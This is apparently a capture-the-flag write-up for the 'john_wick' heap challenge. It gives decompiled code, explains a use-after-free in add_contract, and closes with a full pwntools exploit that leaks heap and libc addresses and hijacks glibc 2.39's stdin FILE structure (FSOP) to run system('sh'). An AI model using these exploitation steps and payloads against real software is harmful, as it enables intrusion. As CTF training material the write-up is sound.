Challenge Description
File type
bash
| 1 | $ file john_wick |
| 2 | john_wick: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.39.so, BuildID[sha1]=2e84c6d0c7f8ee868d35ed8633acfc720abf9c9f, for GNU/Linux 3.2.0, stripped |
Binary Protection
bash
| 1 | $ checksec john_wick |
| 2 | [*] './john_wick' |
| 3 | Arch: amd64-64-little |
| 4 | RELRO: Full RELRO |
| 5 | Stack: Canary found |
| 6 | NX: NX enabled |
| 7 | PIE: PIE enabled |
| 8 | SHSTK: Enabled |
| 9 | IBT: Enabled |
Background
- Here is preview of
john_wickexecution.
plaintext
| 1 | ==================== BKSEC High Table ================== |
| 2 | ============== CONTRACT MANAGEMENT SYSTEM ============== |
| 3 | 1. Add a contract |
| 4 | 2. Delete a contract |
| 5 | 3. View a contract |
| 6 | 4. Change status |
| 7 | 5. Edit a contract description |
| 8 | 6. Exit |
| 9 | > 1 |
| 10 | Index: 0 |
| 11 | CONTRACT NO.0 >>> |
| 12 | Name: SteGG |
| 13 | Age: 18 |
| 14 | Height (cm): 171 |
| 15 | Length of description: 12 |
| 16 | Description: abc |
| 17 | Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): 3 |
| 18 | [*] Success! |
| 19 | ==================== BKSEC High Table ================== |
| 20 | ============== CONTRACT MANAGEMENT SYSTEM ============== |
| 21 | 1. Add a contract |
| 22 | 2. Delete a contract |
| 23 | 3. View a contract |
| 24 | 4. Change status |
| 25 | 5. Edit a contract description |
| 26 | 6. Exit |
| 27 | > 3 |
| 28 | Index: 0 |
| 29 | >>>>>>>> EXCOMMUNICADO <<<<<<<< |
| 30 | CONTRACT NO.0 >>> |
| 31 | Name: SteGG |
| 32 | |
| 33 | Age: 18 |
| 34 | Height: 171 cm |
| 35 | Description: abc |
| 36 | |
| 37 | Bounty: 3 BKSEC coins - 18M$ |
| 38 | Danger level: 0 |
| 39 | Status: OPEN |
| 40 | ==================== BKSEC High Table ================== |
| 41 | ============== CONTRACT MANAGEMENT SYSTEM ============== |
| 42 | 1. Add a contract |
| 43 | 2. Delete a contract |
| 44 | 3. View a contract |
| 45 | 4. Change status |
| 46 | 5. Edit a contract description |
| 47 | 6. Exit |
| 48 | > |
Decompile code
- Glibc version: 2.39
c
| 1 | struct Contract { |
| 2 | unsigned __int32 age; |
| 3 | unsigned __int32 height; |
| 4 | unsigned __int32 length_desc; |
| 5 | char name[30]; |
| 6 | unsigned __int16 bksec_coin; |
| 7 | unsigned __int16 mdollars; |
| 8 | unsigned __int16 danger_level; |
| 9 | char status[32]; |
| 10 | char* description; |
| 11 | }; |
| 12 | |
| 13 | Contract* contracts[10]; |
c
| 1 | int add_contract() |
| 2 | { |
| 3 | char *v1; // rax |
| 4 | int bounty; // [rsp+8h] [rbp-28h] BYREF |
| 5 | unsigned int idx; // [rsp+Ch] [rbp-24h] |
| 6 | unsigned int length_desc; // [rsp+10h] [rbp-20h] |
| 7 | unsigned int nbytes_4; // [rsp+14h] [rbp-1Ch] |
| 8 | Contract *new_contract; // [rsp+18h] [rbp-18h] |
| 9 | char *description; // [rsp+20h] [rbp-10h] |
| 10 | unsigned __int64 canary; // [rsp+28h] [rbp-8h] |
| 11 | |
| 12 | canary = __readfsqword(0x28u); |
| 13 | new_contract = 0LL; |
| 14 | printf("Index: "); |
| 15 | idx = read_integer(); |
| 16 | if ( idx <= 9 ) |
| 17 | { |
| 18 | if ( contracts[idx] ) |
| 19 | { |
| 20 | puts("Not available!!"); |
| 21 | return 1337; |
| 22 | } |
| 23 | else |
| 24 | { |
| 25 | new_contract = (Contract *)malloc(88uLL); |
| 26 | if ( !new_contract ) |
| 27 | { |
| 28 | puts("Error!"); |
| 29 | exit(-1); |
| 30 | } |
| 31 | contracts[idx] = (__int64)new_contract; |
| 32 | printf("CONTRACT NO.%u >>>\n", idx); |
| 33 | memset(new_contract, 0, sizeof(Contract)); |
| 34 | printf("Name: "); |
| 35 | read(0, new_contract->name, 29uLL); |
| 36 | printf("Age: "); |
| 37 | new_contract->age = read_integer(); |
| 38 | printf("Height (cm): "); |
| 39 | new_contract->height = read_integer(); |
| 40 | printf("Length of description: "); |
| 41 | length_desc = read_integer(); |
| 42 | if ( length_desc <= 256 ) |
| 43 | { |
| 44 | description = (char *)malloc(length_desc + 1); |
| 45 | if ( !description ) |
| 46 | { |
| 47 | puts("Error!"); |
| 48 | exit(-1); |
| 49 | } |
| 50 | printf("Description: "); |
| 51 | nbytes_4 = read(0, description, length_desc); |
| 52 | description[nbytes_4] = 0; |
| 53 | new_contract->description = description; |
| 54 | new_contract->length_desc = length_desc; |
| 55 | printf("Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): "); |
| 56 | bounty = 0; |
| 57 | __isoc99_scanf("%d%*c", &bounty); |
| 58 | new_contract->bksec_coin = bounty; |
| 59 | *(_DWORD *)&new_contract->mdollars = 6 * new_contract->bksec_coin; |
| 60 | v1 = new_contract->status; |
| 61 | *(_DWORD *)new_contract->status = 0x4E45504F;// "OPEN" |
| 62 | v1[4] = 0; |
| 63 | return puts("[*] Success!"); |
| 64 | } |
| 65 | else |
| 66 | { |
| 67 | puts("Too large!!"); |
| 68 | free(new_contract); |
| 69 | return 1337; |
| 70 | } |
| 71 | } |
| 72 | } |
| 73 | else |
| 74 | { |
| 75 | puts("Invalid index!!"); |
| 76 | return 1337; |
| 77 | } |
| 78 | } |
c
| 1 | int delete_contract() |
| 2 | { |
| 3 | unsigned int idx; // [rsp+4h] [rbp-Ch] |
| 4 | Contract *ptr; // [rsp+8h] [rbp-8h] |
| 5 | |
| 6 | printf("Index: "); |
| 7 | idx = read_integer(); |
| 8 | if ( idx <= 9 && contracts[idx] ) |
| 9 | { |
| 10 | ptr = (Contract *)contracts[idx]; |
| 11 | printf("CONTRACT NO.%u >>> Delete\n", idx); |
| 12 | free(ptr->description); |
| 13 | ptr->description = 0LL; |
| 14 | free(ptr); |
| 15 | contracts[idx] = 0LL; |
| 16 | return puts("[*] Success!"); |
| 17 | } |
| 18 | else |
| 19 | { |
| 20 | puts("Invalid index!!"); |
| 21 | return 1337; |
| 22 | } |
| 23 | } |
c
| 1 | __int64 view_contract() |
| 2 | { |
| 3 | unsigned int idx; // [rsp+4h] [rbp-Ch] |
| 4 | Contract *selected_contract; // [rsp+8h] [rbp-8h] |
| 5 | |
| 6 | printf("Index: "); |
| 7 | idx = read_integer(); |
| 8 | if ( idx <= 9 && contracts[idx] ) |
| 9 | { |
| 10 | selected_contract = (Contract *)contracts[idx]; |
| 11 | puts(">>>>>>>> EXCOMMUNICADO <<<<<<<<"); |
| 12 | printf("CONTRACT NO.%u >>>\n", idx); |
| 13 | printf("Name: %s\n", selected_contract->name); |
| 14 | printf("Age: %d\n", selected_contract->age); |
| 15 | printf("Height: %d cm\n", selected_contract->height); |
| 16 | printf("Description: %s\n", selected_contract->description); |
| 17 | printf("Bounty: %hu BKSEC coins - %huM$\n", selected_contract->bksec_coin, selected_contract->mdollars); |
| 18 | printf("Danger level: %hu\n", selected_contract->danger_level); |
| 19 | printf("Status: %s\n", selected_contract->status); |
| 20 | return 0LL; |
| 21 | } |
| 22 | else |
| 23 | { |
| 24 | puts("Invalid index!!"); |
| 25 | return 1337LL; |
| 26 | } |
| 27 | } |
c
| 1 | int change_status() |
| 2 | { |
| 3 | unsigned int idx; // [rsp+4h] [rbp-Ch] |
| 4 | Contract *selected_contract; // [rsp+8h] [rbp-8h] |
| 5 | |
| 6 | printf("Index: "); |
| 7 | idx = read_integer(); |
| 8 | if ( idx <= 9 && contracts[idx] ) |
| 9 | { |
| 10 | selected_contract = (Contract *)contracts[idx]; |
| 11 | printf("CONTRACT NO.%u >>> Danger level: %hu\n", idx, selected_contract->danger_level); |
| 12 | if ( selected_contract->danger_level > 4u ) |
| 13 | { |
| 14 | printf("New status: "); |
| 15 | __isoc99_scanf("%32s", selected_contract->status); |
| 16 | return puts("[*] Success!"); |
| 17 | } |
| 18 | else |
| 19 | { |
| 20 | puts("FAIL! You can only change the status of contracts with danger level greater than or equal to 5 (HIGH)."); |
| 21 | return 1337; |
| 22 | } |
| 23 | } |
| 24 | else |
| 25 | { |
| 26 | puts("Invalid index!!"); |
| 27 | return 1337; |
| 28 | } |
| 29 | } |
c
| 1 | int edit_contract() |
| 2 | { |
| 3 | unsigned int idx; // [rsp+0h] [rbp-10h] |
| 4 | Contract *selected_contract; // [rsp+8h] [rbp-8h] |
| 5 | |
| 6 | printf("Index: "); |
| 7 | idx = read_integer(); |
| 8 | if ( idx <= 9 && contracts[idx] ) |
| 9 | { |
| 10 | selected_contract = (Contract *)contracts[idx]; |
| 11 | printf("CONTRACT NO.%u >>> Edit description\n", idx); |
| 12 | printf("New description: "); |
| 13 | selected_contract->description[(unsigned int)read(0, selected_contract->description, selected_contract->length_desc)] = 0; |
| 14 | return puts("[*] Success!"); |
| 15 | } |
| 16 | else |
| 17 | { |
| 18 | puts("Invalid index!!"); |
| 19 | return 1337; |
| 20 | } |
| 21 | } |
Vulnerability
- In
add_contract()function, if I input size of description larger than256, the program will free created contract at first. However, it forgot to set the selected element in global arraycontractstoNULL. That leads to use-after-free vulnerability.
Exploitation
Leak Heap Address
- That freed contract will be put into tcache.
- In glibc 2.39,
fdpointer of all chunks in tcache is protected by some bitwise action. However, for the first chunk, itsfdpointer is just heap address pointer and shift 12 bytes to the right. - Therefore, I tried to set
descriptionof a new contract to that freed pointer contract.
python
| 1 | add_contract(0, b"SteGG", 18, 171, 0x60, b"A", 0) |
| 2 | add_contract(1, b"SteGG", 18, 171, 300, b"", 0) |
| 3 | delete_contract(0) |
- Then I just need to use print operation and shift 12 bytes to the left to get heap address
python
| 1 | view_contract(1) |
| 2 | target.recvuntil(b"Age: ") |
| 3 | lower_heap = int(target.recvuntil(b"\n", drop=True).decode()) << 12 |
| 4 | target.recvuntil(b"Height: ") |
| 5 | higher_heap = int(target.recvuntil(b" cm\n", drop=True).decode()) << 44 |
| 6 | heap_addr = higher_heap + lower_heap |
| 7 | print(f"Heap: {hex(heap_addr)}") |
Leak Libc Address
- Since I put that freed contract into
descriptionfield, I can do an arbitrary write to any address by creating a fake contract with target address indescriptionfield - Here I want to write to address offset
0x3c8from heap address:
python
| 1 | payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8) |
| 2 | add_contract(0, b"SteGG", 18, 171, 0x57, payload, 0) |
- Now I just need to edit description of contract index 1 to modify content of target address
python
| 1 | payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420) |
| 2 | edit_contract(1, payload) |
- The target is also a chunk in heap, I rewritten its size and 2 chunks after it so that when I free it, it will be put into unsorted bins. I just need to save a clone of its contract by using use-after-free again. when performing view contract action, I will get libc address.
python
| 1 | add_contract(2, b"SteGG", 18, 171, 300, b"", 0) |
| 2 | add_contract(3, b"SteGG", 18, 171, 0x20, b"A", 0) |
| 3 | payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420) |
| 4 | edit_contract(1, payload) |
| 5 | payload = p64(0x11) + b"\x00" * 8 + p64(0x11) |
| 6 | edit_contract(3, payload) |
| 7 | payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(0x0) |
| 8 | edit_contract(1, payload) |
| 9 | delete_contract(3) |
| 10 | |
| 11 | view_contract(2) |
| 12 | target.recvuntil(b"Age: ") |
| 13 | lower_libc = int(target.recvuntil(b"\n", drop=True).decode()) |
| 14 | if lower_libc < 0: |
| 15 | lower_libc += 0x100000000 |
| 16 | target.recvuntil(b"Height: ") |
| 17 | higher_libc = int(target.recvuntil(b" cm\n", drop=True).decode()) << 32 |
| 18 | libc.address = higher_libc + lower_libc - 0x203b20 |
| 19 | print(f"Libc: {hex(libc.address)}") |
Get Shell
- To get shell in this challange, I decide to use FSOP technique and I will rewrite
_IO_2_1_stdin_. When I callscanf, it will trigger__uflowfunction invtableof_IO_2_1_stdin_ - Glibc 2.39 added mitigation to verify the vtable of
_IO_FILEstructure before run the function inside it. Therefore, I can only rewritewide_vtableof_wide_datapointer instdinand then rewritevtableto defaultwide_vtableof glibc (_IO_wide_jumps). - Code execution:
scanf->__vfscanf_internal->vtable->__uflow(_IO_wide_jumps->__uflow) ->vtable->__underflow(_IO_wide_jumps->__underflow) ->wide_data->wide_vtable->__doallocbuf - With the above code execution, I just need to set
systemaddress function to__doallocbufoffset and add/bin/shto_flagsfield ofstdinto get shell
Exploit Code
python
| 1 | #!/usr/bin/env python |
| 2 | from pwn import * |
| 3 | import utils |
| 4 | |
| 5 | context.terminal = ['kitty', '@', 'launch', '--type=os-window', '--cwd={}'.format(os.getcwd())] |
| 6 | context.log_level = "debug" |
| 7 | context.arch = "amd64" |
| 8 | |
| 9 | TARGET = "./bin/john_wick" |
| 10 | LIBC = "./lib/libc.so.6" |
| 11 | |
| 12 | if len(sys.argv) > 1 and sys.argv[1] == "remote": |
| 13 | target = remote("pwn-john-wick.training.bksec.vn", 8443) |
| 14 | else: |
| 15 | target = process(TARGET) |
| 16 | gdbscript = """ |
| 17 | breakrva 0x1c4f |
| 18 | """ |
| 19 | # target: process | remote = gdb.debug(TARGET, gdbscript, env={"SHELL": "/bin/sh"}) |
| 20 | |
| 21 | exe = ELF(TARGET) |
| 22 | libc = ELF(LIBC) |
| 23 | |
| 24 | """ |
| 25 | contracts: 0x4060 |
| 26 | """ |
| 27 | |
| 28 | def add_contract(index: int, name: bytes, age: int, height: int, length_desc: int, description: bytes, bounty: int): |
| 29 | target.sendafter(b"> ", b"1") |
| 30 | target.sendafter(b"Index: ", str(index).encode()) |
| 31 | target.sendafter(b"Name: ", name) |
| 32 | target.sendafter(b"Age: ", str(age).encode()) |
| 33 | target.sendafter(b"Height (cm): ", str(height).encode()) |
| 34 | target.sendafter(b"Length of description: ", str(length_desc).encode()) |
| 35 | if length_desc <= 256: |
| 36 | target.sendafter(b"Description: ", description) |
| 37 | target.sendlineafter(b"Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): ", str(bounty).encode()) |
| 38 | |
| 39 | def delete_contract(index: int): |
| 40 | target.sendafter(b"> ", b"2") |
| 41 | target.sendafter(b"Index: ", str(index).encode()) |
| 42 | |
| 43 | def view_contract(index: int): |
| 44 | target.sendafter(b"> ", b"3") |
| 45 | target.sendafter(b"Index: ", str(index).encode()) |
| 46 | |
| 47 | def change_status(index: int, status: bytes): |
| 48 | target.sendafter(b"> ", b"4") |
| 49 | target.sendafter(b"Index: ", str(index).encode()) |
| 50 | target.sendlineafter(b"New status: ", status) |
| 51 | |
| 52 | def edit_contract(index: int, description: bytes): |
| 53 | target.sendafter(b"> ", b"5") |
| 54 | target.sendafter(b"Index: ", str(index).encode()) |
| 55 | target.sendafter(b"New description: ", description) |
| 56 | |
| 57 | def exit_func(): |
| 58 | target.sendafter(b"> ", b"6") |
| 59 | |
| 60 | add_contract(0, b"SteGG", 18, 171, 0x60, b"A", 0) |
| 61 | add_contract(1, b"SteGG", 18, 171, 300, b"", 0) |
| 62 | delete_contract(0) |
| 63 | |
| 64 | view_contract(1) |
| 65 | target.recvuntil(b"Age: ") |
| 66 | lower_heap = int(target.recvuntil(b"\n", drop=True).decode()) << 12 |
| 67 | target.recvuntil(b"Height: ") |
| 68 | higher_heap = int(target.recvuntil(b" cm\n", drop=True).decode()) << 44 |
| 69 | heap_addr = higher_heap + lower_heap |
| 70 | print(f"Heap: {hex(heap_addr)}") |
| 71 | |
| 72 | payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8) |
| 73 | add_contract(0, b"SteGG", 18, 171, 0x57, payload, 0) |
| 74 | add_contract(2, b"SteGG", 18, 171, 300, b"", 0) |
| 75 | add_contract(3, b"SteGG", 18, 171, 0x20, b"A", 0) |
| 76 | payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420) |
| 77 | edit_contract(1, payload) |
| 78 | payload = p64(0x11) + b"\x00" * 8 + p64(0x11) |
| 79 | edit_contract(3, payload) |
| 80 | payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(0x0) |
| 81 | edit_contract(1, payload) |
| 82 | delete_contract(3) |
| 83 | |
| 84 | view_contract(2) |
| 85 | target.recvuntil(b"Age: ") |
| 86 | lower_libc = int(target.recvuntil(b"\n", drop=True).decode()) |
| 87 | if lower_libc < 0: |
| 88 | lower_libc += 0x100000000 |
| 89 | target.recvuntil(b"Height: ") |
| 90 | higher_libc = int(target.recvuntil(b" cm\n", drop=True).decode()) << 32 |
| 91 | libc.address = higher_libc + lower_libc - 0x203b20 |
| 92 | print(f"Libc: {hex(libc.address)}") |
| 93 | |
| 94 | fake_file = libc.symbols["_IO_2_1_stdin_"] |
| 95 | # Make heap_addr + 0x3c8 become _wide_data |
| 96 | payload = flat({ |
| 97 | # _wide_data->_IO_read_ptr |
| 98 | 0x00: p64(0), |
| 99 | # _wide_data->_IO_read_end |
| 100 | 0x8: p64(0), |
| 101 | # _wide_data->_IO_buf_base |
| 102 | 0x30: p64(0), |
| 103 | # _wide_data->_IO_save_base |
| 104 | 0x40: p64(0), |
| 105 | # _wide_data->_wide_vtable |
| 106 | 0xe0: fake_file |
| 107 | }) |
| 108 | edit_contract(1, payload) |
| 109 | |
| 110 | payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x8) + b"A" * 32 + p64(libc.symbols["_IO_2_1_stdin_"]) |
| 111 | edit_contract(0, payload) |
| 112 | |
| 113 | payload = flat( |
| 114 | { |
| 115 | # file._flags |
| 116 | 0x00: b" sh\x00", |
| 117 | # file._IO_read_ptr |
| 118 | 0x8: p64(0), |
| 119 | # file._IO_read_end |
| 120 | 0x10: p64(0), |
| 121 | # file._IO_buf_base |
| 122 | 0x38: p64(1), |
| 123 | # file._IO_save_base |
| 124 | 0x48: p64(0), |
| 125 | # file._markers |
| 126 | 0x60: p64(0), |
| 127 | # file._chain |
| 128 | 0x68: libc.symbols["system"], |
| 129 | # file._lock |
| 130 | 0x88: libc.symbols["_IO_stdfile_0_lock"], |
| 131 | # file._wide_data |
| 132 | 0xa0: heap_addr + 0x3c8, |
| 133 | # file._mode |
| 134 | 0xc0: p64(0), |
| 135 | # _vtable |
| 136 | 0xd8: libc.symbols["_IO_wfile_jumps"], |
| 137 | } |
| 138 | ) |
| 139 | edit_contract(1, payload) |
| 140 | change_status(1, b"Completed") |
| 141 | |
| 142 | target.interactive() |